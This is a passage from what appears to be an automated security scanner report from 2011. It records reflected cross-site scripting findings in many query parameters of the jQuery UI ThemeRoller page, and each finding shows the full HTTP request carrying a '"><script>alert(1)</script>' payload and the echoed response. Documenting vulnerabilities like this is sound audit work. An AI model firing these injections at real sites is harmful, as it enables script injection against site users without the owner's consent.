2121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ecdfc30"><script>alert(1)</script>a9e1b8c37b8&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30
...[SNIP]...

1.118. http://jqueryui.com/themeroller/ [bgColorHeader parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1e6a"><script>alert(1)</script>8bf4ad7e592 was submitted in the bgColorHeader parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=ccccccd1e6a"><script>alert(1)</script>8bf4ad7e592&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:29 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=ccccccd1e6a"><script>alert(1)</script>8bf4ad7e592&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&bo
...[SNIP]...

1.119. http://jqueryui.com/themeroller/ [bgColorHighlight parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75d5e"><script>alert(1)</script>f1386d08681 was submitted in the bgColorHighlight parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee75d5e"><script>alert(1)</script>f1386d08681&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:45 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
9999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee75d5e"><script>alert(1)</script>f1386d08681&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&b
...[SNIP]...

1.120. http://jqueryui.com/themeroller/ [bgColorHover parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee34f"><script>alert(1)</script>617f19d2f28 was submitted in the bgColorHover parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadadaee34f"><script>alert(1)</script>617f19d2f28&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:43 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
cContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadadaee34f"><script>alert(1)</script>617f19d2f28&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=
...[SNIP]...

1.121. http://jqueryui.com/themeroller/ [bgColorOverlay parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorOverlay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6bf45"><script>alert(1)</script>00cbd4e3568 was submitted in the bgColorOverlay parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa6bf45"><script>alert(1)</script>00cbd4e3568&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:48 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
efa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa6bf45"><script>alert(1)</script>00cbd4e3568&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&off
...[SNIP]...

1.122. http://jqueryui.com/themeroller/ [bgColorShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2569"><script>alert(1)</script>93fcf126caf was submitted in the bgColorShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaac2569"><script>alert(1)</script>93fcf126caf&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:49 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaac2569"><script>alert(1)</script>93fcf126caf&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all" />
...[SNIP]...

1.123. http://jqueryui.com/themeroller/ [bgImgOpacityActive parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8152"><script>alert(1)</script>eb15dc8b101 was submitted in the bgImgOpacityActive parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65a8152"><script>alert(1)</script>eb15dc8b101&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:44 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65a8152"><script>alert(1)</script>eb15dc8b101&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColo
...[SNIP]...

1.124. http://jqueryui.com/themeroller/ [bgImgOpacityContent parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7fd37"><script>alert(1)</script>061b5e7f4a3 was submitted in the bgImgOpacityContent parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=757fd37"><script>alert(1)</script>061b5e7f4a3&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:36 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=757fd37"><script>alert(1)</script>061b5e7f4a3&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefaul
...[SNIP]...

1.125. http://jqueryui.com/themeroller/ [bgImgOpacityDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9d15"><script>alert(1)</script>a4b6ff2924a was submitted in the bgImgOpacityDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75c9d15"><script>alert(1)</script>a4b6ff2924a&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:39 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75c9d15"><script>alert(1)</script>a4b6ff2924a&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgC
...[SNIP]...

1.126. http://jqueryui.com/themeroller/ [bgImgOpacityError parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f342"><script>alert(1)</script>04fea7ef422 was submitted in the bgImgOpacityError parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=953f342"><script>alert(1)</script>04fea7ef422&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:47 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=953f342"><script>alert(1)</script>04fea7ef422&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png
...[SNIP]...

1.127. http://jqueryui.com/themeroller/ [bgImgOpacityHeader parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ceca"><script>alert(1)</script>c193cb4b460 was submitted in the bgImgOpacityHeader parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

